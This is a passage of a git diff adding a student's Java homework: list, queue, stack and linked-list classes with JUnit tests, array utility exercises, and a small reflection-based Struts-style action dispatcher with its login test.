+// * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+// * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+// * @param min
+// * @param max
+// */
+//public  void removeRange(int min, int max){
+//	
+//}
+//
+///**
+// * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+// * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+// * @param list
+// */
+//public  LinkedList intersection( LinkedList list){
+//	return null;
+//}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/List.java b/group23/729693763/First_Homework1/src/com/danny/hw1/List.java
new file mode 100644
index 0000000000..e71a86c78d
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/List.java
@@ -0,0 +1,10 @@
+package com.danny.hw1;
+
+public interface List {
+	void add(Object o);
+	void add(int index,Object o);
+	Object get(int index);
+	Object remove(int index);
+	int size();
+	Iterator iterator();
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
new file mode 100644
index 0000000000..58f957dd31
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
@@ -0,0 +1,25 @@
+package com.danny.hw1;
+
+public class Queue {
+	private LinkedList elementData = new LinkedList();
+
+	public void enQueue(Object o){	
+		elementData.add(o);
+	}
+
+	public Object deQueue(){
+		if ( size() > 0 ) {
+			return elementData.remove(0);
+		} else {
+			throw new IndexOutOfBoundsException("Queue is Null");
+		}
+	}
+
+	public boolean isEmpty(){
+		return size() == 0;
+	}
+
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
new file mode 100644
index 0000000000..165387695b
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
@@ -0,0 +1,40 @@
+package com.danny.hw1;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+
+	public void push(Object o){
+		this.elementData.add(o);
+
+	}
+
+	public Object pop(){		
+		int size = this.elementData.size();
+
+		if ( size > 0 ) {
+			return this.elementData.remove(size - 1 );
+		} else{
+			throw new IndexOutOfBoundsException("Stack is empty");
+		}
+	}
+
+	public Object peek(){
+
+		if ( size() > 0 ) {
+			return this.elementData.get(size() - 1 );
+		} else{
+			throw new IndexOutOfBoundsException("Stack is empty");
+		}
+	}
+	public boolean isEmpty(){
+		return size() == 0;
+	}
+
+	public int size(){
+		return this.elementData.size();
+	}
+
+	public Stack() {
+		// TODO Auto-generated constructor stub
+	}
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
new file mode 100644
index 0000000000..de4c734eb8
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
@@ -0,0 +1,80 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import java.lang.reflect.Array;
+import java.lang.reflect.Parameter;
+import java.util.Arrays;
+import java.util.Collection;
+
+import javax.print.attribute.standard.RequestingUserName;
+import javax.xml.crypto.Data;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameters;
+
+import com.danny.hw1.ArrayList;
+import com.danny.hw1.Iterator;
+import com.danny.hw1.test_al;
+
+import junit.extensions.TestSetup;
+
+
+public class ArrayListTest {
+
+	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
+	ArrayList test;
+	@Before
+	public void setUp() throws Exception{
+		test = new ArrayList();
+		for(Object data: Data){
+			test.add(data);
+		}
+	}
+	
+	@Test
+	public void testAddObject() {
+		int len = test.size();
+		test.add(10);
+		assertEquals(len, test.size()-1);
+	}
+	
+	@Test
+	public void testAddIntObject() {
+		int len = test.size();
+		test.add(len, 10);
+		
+		assertEquals(len, test.size()-1);
+	}
+
+	@Test
+	public void testGet() {
+		assertEquals(Data[3], test.get(3));
+	}
+
+	@Test
+	public void testRemove() {
+		assertEquals(Data[4], test.remove(4));
+		assertEquals(Data.length-1, test.size());
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(Data.length, test.size());
+	}
+
+	@Test
+	public void testIterator() {
+		Iterator iterator =test.iterator();
+		for(Object i:Data){
+			if(iterator.hasNext()){
+				assertEquals(i,iterator.next());
+			}
+		}
+	}
+	
+
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
new file mode 100644
index 0000000000..2d99534098
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
@@ -0,0 +1,48 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import com.danny.hw1.BinaryTreeNode;
+import com.danny.hw1.LinkedList;
+
+public class BinaryTreeNodeTest {
+
+	static Object[] Data = new Object[]{5,10,3,2,15,12,56,8};
+	BinaryTreeNode test;
+	@Before
+	public void setUp() throws Exception{
+		test = new BinaryTreeNode();
+		for(Object data: Data){
+			test.insert(data);
+			
+		}
+	}
+	@Test
+	public void testPrintWholeTree(){
+		test.printWholeTree(test, 1);
+		int layer = 1;
+		int printNum = 0;
+		System.out.println("var {5,10,3,2,15,12,56,8} insert tree\n"+"Print binary tree:");
+		while(true){
+			if(printNum == test.getTeMap().size()) break;
+			for (Object key : test.getTeMap().keySet()) {
+				Integer value = test.getTeMap().get(key);
+
+				if (value.intValue() == layer){
+					System.out.print(key.toString()+"   ");
+					printNum++;
+				}
+				
+			}
+			System.out.println("");
+			layer++;
+		}
+		
+		
+	}
+	
+
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
new file mode 100644
index 0000000000..ab49d2823c
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
@@ -0,0 +1,86 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import com.danny.hw1.ArrayList;
+import com.danny.hw1.Iterator;
+import com.danny.hw1.LinkedList;
+
+public class LinkedListTest {
+
+	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
+	LinkedList test;
+	@Before
+	public void setUp() throws Exception{
+		test = new LinkedList();
+		for(Object data: Data){
+			test.add(data);
+		}
+	}
+
+	@Test
+	public void testAddObject() {
+		int len = test.size();
+		test.add(10);
+		assertEquals(len, test.size()-1);
+	}
+
+	@Test
+	public void testAddIntObject() {
+		int len = test.size();
+		test.add(len, 10);
+		
+		assertEquals(len, test.size()-1);
+	}
+
+	@Test
+	public void testGet() {
+		assertEquals(Data[3], test.get(3));
+	}
+
+	@Test
+	public void testRemove() {
+		System.out.println(Data[4]);
+		assertEquals(Data[4], test.remove(4));
+		assertEquals(Data.length -1, test.size());
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(Data.length, test.size());
+	}
+
+	@Test
+	public void testIterator() {
+		Iterator iterator =test.iterator();
+		for(Object i:Data){
+			if(iterator.hasNext()){
+				assertEquals(i,iterator.next());
+			}
+		}
+	}
+
+	@Test
+	public void testAddFirst() {
+		test.addFirst(10);
+		assertEquals(10, test.get(0));
+	}
+
+	@Test
+	public void testRemoveFirst() {
+		Object ans=test.get(0);
+		assertEquals(ans,test.removeFirst());
+		assertEquals(Data.length-1,test.size());
+	}
+
+	@Test
+	public void testRemoveLast() {
+		Object ans=test.get(Data.length - 1);
+		assertEquals(ans,test.removeLast());
+		assertEquals(Data.length-1,test.size());
+	}
+
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
new file mode 100644
index 0000000000..7292129e95
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
@@ -0,0 +1,47 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import com.danny.hw1.LinkedList;
+import com.danny.hw1.Queue;
+
+public class QueueTest {
+
+	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
+	Queue test;
+	@Before
+	public void setUp() throws Exception{
+		test = new Queue();
+		for(Object data: Data){
+			test.enQueue(data);
+		}
+	}
+
+	@Test
+	public void testEnQueue() {
+		Object t=10;
+		test.enQueue(t);	
+		assertEquals(Data.length+1,test.size());
+	}
+
+	@Test
+	public void testDeQueue() {
+		Object t=test.deQueue();
+		assertEquals(Data.length-1,test.size());
+		assertEquals(Data[0], t);
+	}
+	@Test
+	public void testIsEmpty() {
+		assertFalse(test.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(Data.length,test.size());
+	}
+
+	
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
new file mode 100644
index 0000000000..11484c0043
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/StackTest.java
@@ -0,0 +1,54 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import com.danny.hw1.Queue;
+import com.danny.hw1.Stack;
+
+public class StackTest {
+
+	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
+	Stack test;
+	@Before
+	public void setUp() throws Exception{
+		test = new Stack();
+		for(Object data: Data){
+			test.push(data);
+		}
+	}
+
+	@Test
+	public void testPush() {
+		Object t=10;
+		test.push(t);	
+		assertEquals(Data.length+1,test.size());
+	}
+
+	@Test
+	public void testPop() {
+		assertEquals(Data[Data.length-1], test.pop());
+		assertEquals(Data.length-1, test.size());
+	}
+
+	@Test
+	public void testPeek() {
+		assertEquals(Data[Data.length-1], test.peek());
+		assertEquals(Data.length, test.size());
+	}
+
+	@Test
+	public void testIsEmpty() {
+		assertFalse(test.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(Data.length, test.size());
+	}
+
+	
+
+}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
new file mode 100644
index 0000000000..25eb57411b
--- /dev/null
+++ b/group23/729693763/First_Homework1/src/com/danny/hw1/test/SuitTest.java
@@ -0,0 +1,17 @@
+package com.danny.hw1.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
+
+@RunWith(Suite.class)
+@Suite.SuiteClasses({ArrayListTest.class,BinaryTreeNodeTest.class,
+					LinkedListTest.class,QueueTest.class,StackTest.class
+					})
+public class SuitTest {
+
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
new file mode 100644
index 0000000000..af11509593
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/ArrayUtil.java
@@ -0,0 +1,221 @@
+package com.danny.hw2;
+
+import java.util.Arrays;
+
+public class ArrayUtil {
+
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
+	 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * 
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin) {
+		int size = origin.length;
+		int[] temp = new int[size];
+
+		for(int i=0;i < size; i++){
+			temp[i] = origin[size-i-1];
+		}
+		
+		for(int i=0;i<size;i++){
+			origin[i] = temp[i];
+		}
+	}
+
+	/**
+	 * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
+	 * 
+	 * @param oldArray
+	 * @return
+	 */
+
+	public int[] removeZero(int[] oldArray) {
+		int oldArraySize = oldArray.length;
+		int resultSize = 0;
+		int[] temp = new int[oldArraySize];
+
+		for (int i = 0; i < oldArray.length; i++) {
+			if(oldArray[i] != 0){
+				temp[resultSize++] = oldArray[i];
+			}
+		}
+		return temp;
+	}
+
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
+	 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
+	 * 
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+
+	public int[] merge(int[] array1, int[] array2) {
+		int array1Size = array1.length;
+		int array2Size = array2.length;
+		int[] result = new int[array1Size+array2Size];
+		int resultIndex = 0;
+		
+		for (int index1 = 0,index2 = 0; index1 < array1Size;) {
+			if ( index2 < array2Size ) {
+				if ( array1[index1] < array2[index2] ) {
+					result[resultIndex++] = array1[index1++];
+					break;
+				}
+				if( array1[index1] == array2[index2] ){
+					result[resultIndex++] = array1[index1++];
+					index2++;
+					break;
+				}
+				if( array1[index1] > array2[index2] ){
+					result[resultIndex++] = array2[index2++];
+					break;
+				}
+			} else{
+				result[resultIndex++] = array1[index1++];
+			}
+		}
+		System.out.println(resultIndex);
+		return Arrays.copyOf(result, resultIndex);
+		
+	}
+
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * 
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int[] oldArray, int size) {
+		int oldSize = oldArray.length;
+		int[] newArray= new int[oldSize+size];
+		
+		for ( int i = 0; i < newArray.length; i++) {
+			if ( i < oldSize ) {
+				newArray[i] = oldArray[i];
+			} else{
+				newArray[i] = 0;
+			}
+		}
+		return newArray;
+	}
+
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21...... ，给定一个最大值， 返回小于该值的数列 例如， max = 15 ,
+	 * 则返回的数组应该为 [1，1，2，3，5，8，13] max = 1, 则返回空数组 []
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max) {
+		if(max == 1){
+			return new int[0];
+		}
+		
+		int maxIndex = 1000;
+		int realIndex = 0;
+		int[] array=new int[maxIndex];
+		for (; realIndex <= array.length; realIndex++) {
+			int fibonacciNum = getFibonacciArray(realIndex+1);
+			if(fibonacciNum > max){
+				break;
+			}
+			array[realIndex] = fibonacciNum;
+		}
+		
+		
+		
+		return Arrays.copyOf(array, realIndex);
+	}
+	
+	
+	private int getFibonacciArray(int index){
+		
+		if(index == 0 || index == 1){
+			return index;
+		}
+		return getFibonacciArray(index - 1) + getFibonacciArray(index - 2); 
+	}
+	/**
+	 * 返回小于给定最大值max的所有素数数组 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max) {
+		int maxIndex = 1000;
+		int realSize = 0;
+		int[] array = new int[maxIndex];
+		for (int i = 0; i < max; i++) {
+			if(isPrimers(i)){
+				array[realSize++] = i;
+			}
+		}
+		return Arrays.copyOf(array, realSize);
+	}
+	private static boolean isPrimers(int n){
+		if (n <= 3) {
+			return n > 1;
+		}
+
+		for(int i=2;i<=Math.sqrt(n);i++){
+			if(n%i == 0)
+				return false;
+		}
+		return true;
+	}
+
+
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max) {
+		int maxIndex = 1000;
+		int realIndex = 0;
+		int[] array = new int[maxIndex];
+		int sum = 0;
+		
+		for (int i = 1; i < max /2 +1; i++) {
+			if(max % i == 0){
+				sum += i;
+				array[realIndex++] = i;
+			}			
+		}
+		if(sum == max){
+			return Arrays.copyOf(array, realIndex);
+		}else{
+			return new int[0];
+		}
+		
+	}
+
+	/**
+	 * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
+	 * 
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator) {
+		String result="";
+		for (int i = 0; i < array.length; i++) {
+			result+= String.valueOf(array[i]) + seperator;
+		}
+		//去掉多余的一个seperator
+		return result.substring(0, result.length()-1);
+	}
+	
+	
+
+
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
new file mode 100644
index 0000000000..340d542dec
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/LoginAction.java
@@ -0,0 +1,39 @@
+package com.danny.hw2;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
new file mode 100644
index 0000000000..6e1cb4ba96
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
@@ -0,0 +1,163 @@
+package com.danny.hw2;
+
+import java.io.File;
+import java.lang.invoke.CallSite;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+import org.jaxen.*;
+
+public class Struts {
+
+	private static Document file = null;
+	private static String file_path = 
+			new File("").getAbsolutePath()+".\\xmlFolder\\struts.xml";
+
+	private static String viewPath="com.danny.hw2.View";
+	
+	//0. 读取配置文件struts.xml
+    private static Document parse(String path){
+        SAXReader reader = new SAXReader();
+        Document document = null;
+		try {
+			document = reader.read(path);
+		} catch (DocumentException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();			
+		}
+        return document;
+    }
+    
+    private static Element getAction(Document document,String name){
+
+    	List<Element> lElement = (List<Element>) file.selectObject("/struts/action");
+    	Element actionElement = null;
+    	for(Element e:lElement){
+    		if(e.attributeValue("name").equals(name)){
+    			actionElement = e;    			
+    			break;
+    		}
+    	}
+    	return actionElement;
+    }
+	
+    public static View runAction(String actionName, Map<String,String> parameters) {
+    	
+    	file = parse(file_path);
+    	
+    	//返回的class View;
+    	Object viewClass = null;
+    	
+    	
+    	//0 Get Action Element    	
+    	Element actionElement = getAction(file, actionName);
+
+    	
+    	String actionClassPath = actionElement.attributeValue("class");
+    	System.out.println(actionClassPath);
+    	
+    	Object action = null;
+    	
+    	try {
+    		/*
+    		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+    		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+    		("name"="test" ,  "password"="1234") ,   		     	
+    		那就应该调用 setName和setPassword方法
+    		*/
+			action = Class.forName(actionClassPath).newInstance();
+			
+			Method setName = action.getClass().getMethod("setName",String.class);
+			setName.invoke(action, parameters.get("name"));
+			
+			Method setPassword = action.getClass().getMethod("setPassword",String.class);
+			setPassword.invoke(action, parameters.get("password"));
+			
+			
+			//2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+			Method execute = action.getClass().getMethod("execute", null);
+			Object status = execute.invoke(action);
+			
+			System.out.println(status.toString());
+			
+			
+			//3获得所有的Getter字段
+			Field[] files = action.getClass().getDeclaredFields();
+			
+			HashMap<String,String> save = new HashMap<>();
+			
+			//找到需要的数据，线存到save中
+			for (int i = 0; i < files.length; i++) {
+				String name = files[i].getName();
+				name = "get" + name.substring(0,1).toUpperCase() + 
+						name.substring(1);
+				
+				
+				Method getter = action.getClass().getMethod(name,null);
+				save.put(files[i].getName(), (String) getter.invoke(action));
+				
+			}
+			//塞进viewClass里面
+			viewClass = Class.forName(viewPath).newInstance();
+			Method setParameters = viewClass.getClass().getMethod("setParameters", Map.class);
+			setParameters.invoke(viewClass, save);
+			
+			
+			
+			//4将jsp放进去
+			List<Element> resultElement = actionElement.selectNodes("result");
+			for(Element e:resultElement){
+				if(e.attributeValue("name").equals(status.toString())){
+					String jspFields= e.getStringValue();
+					viewClass.getClass().getMethod("setJsp", String.class).
+					invoke(viewClass, jspFields);
+				}
+				
+			}
+			
+			
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+			
+			throw new RuntimeException(e.getMessage());
+		}
+    	
+    	
+    	
+    	
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    
+    	return (View) viewClass;
+    }    
+
+
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
new file mode 100644
index 0000000000..67ff0a061b
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
@@ -0,0 +1,23 @@
+package com.danny.hw2;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
new file mode 100644
index 0000000000..a7fce5320a
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
@@ -0,0 +1,95 @@
+package com.danny.hw2.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+import com.danny.hw2.ArrayUtil;
+
+public class ArrayUtilTest {
+
+	@Test
+	public void testReverseArray() {
+//		 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
+//				 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+		int[] testData = new int[]{7,9,30,3};
+		int[] ans = new int[]{3,30,9,7};
+		new ArrayUtil().reverseArray(testData);
+		
+		for (int i = 0; i < ans.length; i++) {
+			assertEquals(ans[i], testData[i]);
+		}
+	}
+
+	@Test
+	public void testRemoveZero() {
+		int[] testData = new int[]{1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
+		int[] ans = new int[]{1,3,4,5,6,6,5,4,7,6,7,5};
+	
+		int[] test = new ArrayUtil().removeZero(testData);
+		for (int i = 0; i < ans.length; i++) {
+			assertEquals(ans[i], test[i]);
+		}
+	}
+
+	@Test
+	public void testMerge() {
+//		 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
+//				 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
+		int[] a1 = new int[]{3, 5, 7,8};
+		int[] a2 = new int[]{4,5,6,7};
+		
+		int[] ans = new int[]{3,4,5,6,7,8};
+		
+		int[] test = new ArrayUtil().merge(a1, a2);
+		
+		for (int i = 0; i < test.length; i++) {
+			assertEquals(ans[i], test[i]);
+		}
+
+	}
+
+	@Test
+	public void testGrow() {
+//		把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+//		 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+//		 * [2,3,6,0,0,0]
+ 
+		int size = 3;
+		int[] testData = new int[]{2,3,6};
+		int[] test = new ArrayUtil().grow(testData, size);
+		assertEquals(testData.length+size, test.length);
+		
+	}
+
+	@Test
+	public void testFibonacci() {
+		int[] ans = new int[]{1,1,2,3,5,8,13};
+		int[] array = new ArrayUtil().fibonacci(15);		
+		for (int i = 0; i < ans.length; i++) {
+			assertEquals(ans[i], array[i]);	
+		}
+		
+	}
+
+	@Test
+	public void testGetPerfectNumbers() {
+		
+		int[] ans=new int[]{1,2,4,7,14};
+		int[] array=new ArrayUtil().getPerfectNumbers(28);
+		for (int i = 0; i < array.length; i++) {
+			assertEquals(ans[i], array[i]);
+		}
+	}
+
+	@Test
+	public void testJoin() {
+		//* 用seperator 把数组 array给连接起来 例如array= [3,8,9],
+		//seperator = "-" 则返回值为"3-8-9"
+		int[] test = new int[]{3,8,9};
+		
+		String test1 = new ArrayUtil().join(test, "-");
+		assertEquals("3-8-9", test1);
+	}
+
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
new file mode 100644
index 0000000000..49b770f015
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
@@ -0,0 +1,46 @@
+package com.danny.hw2.test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import com.danny.hw2.Struts;
+import com.danny.hw2.View;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/729693763/Third_Homework3/DataStruct/Iterator.java b/group23/729693763/Third_Homework3/DataStruct/Iterator.java
new file mode 100644
index 0000000000..2ca354f82a
--- /dev/null
+++ b/group23/729693763/Third_Homework3/DataStruct/Iterator.java
@@ -0,0 +1,6 @@
+package com.zhous.DataStruct;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+}
diff --git a/group23/729693763/Third_Homework3/DataStruct/LinkedList.java b/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
new file mode 100644
index 0000000000..2a6663a3ba
--- /dev/null
+++ b/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
@@ -0,0 +1,327 @@
+package com.zhous.DataStruct;
+
+import javafx.beans.binding.ObjectExpression;
+
+
+
+public class LinkedList implements List {
+	
+	private Node head = null;
+	private int size = 0;
+
+	public void add(Object o){
+		addLast(o);
+		this.size++;
+	}
+
+	//内部调用的方法：
+	//2 返回添加到哪个Node
+	private Node findBeforeInsertNode(int needInsertIndex){
+		Node findGetNode = this.head;
+		for ( int i=0; i< needInsertIndex - 1; i++ ) {
+			findGetNode = findGetNode.next;
+		}
+		return findGetNode;
+	}
+	//3
+	private void checkPositionIndex(int index) {
+		if ( !( index >= 0 && index <= size ) )
+			throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+
+	//4
+	private void addBeforeNode(int index, Object o) {
+		Node newNode = new Node();
+		newNode.data = o;
+		newNode.next = null;
+
+		Node beforeInserNode = this.head;
+
+
+			beforeInserNode =  findBeforeInsertNode(index);
+
+			newNode.next = beforeInserNode.next;
+			beforeInserNode.next = newNode;
+
+	}
+	//5
+	private Node findIndexNode(int index){
+		Node findGetNode = this.head;
+		for ( int i=0; i< index; i++ ) {
+			findGetNode = findGetNode.next;
+		}
+		return findGetNode;
+	}
+
+
+	public void add(int index , Object o){
+		checkPositionIndex(index);
+		if( index == size()){
+			addLast(o);
+		} else if ( index == 0 ) {
+			addFirst(o);
+		} else{
+			addBeforeNode(index,o);
+		}
+		this.size++;
+	}
+
+
+
+
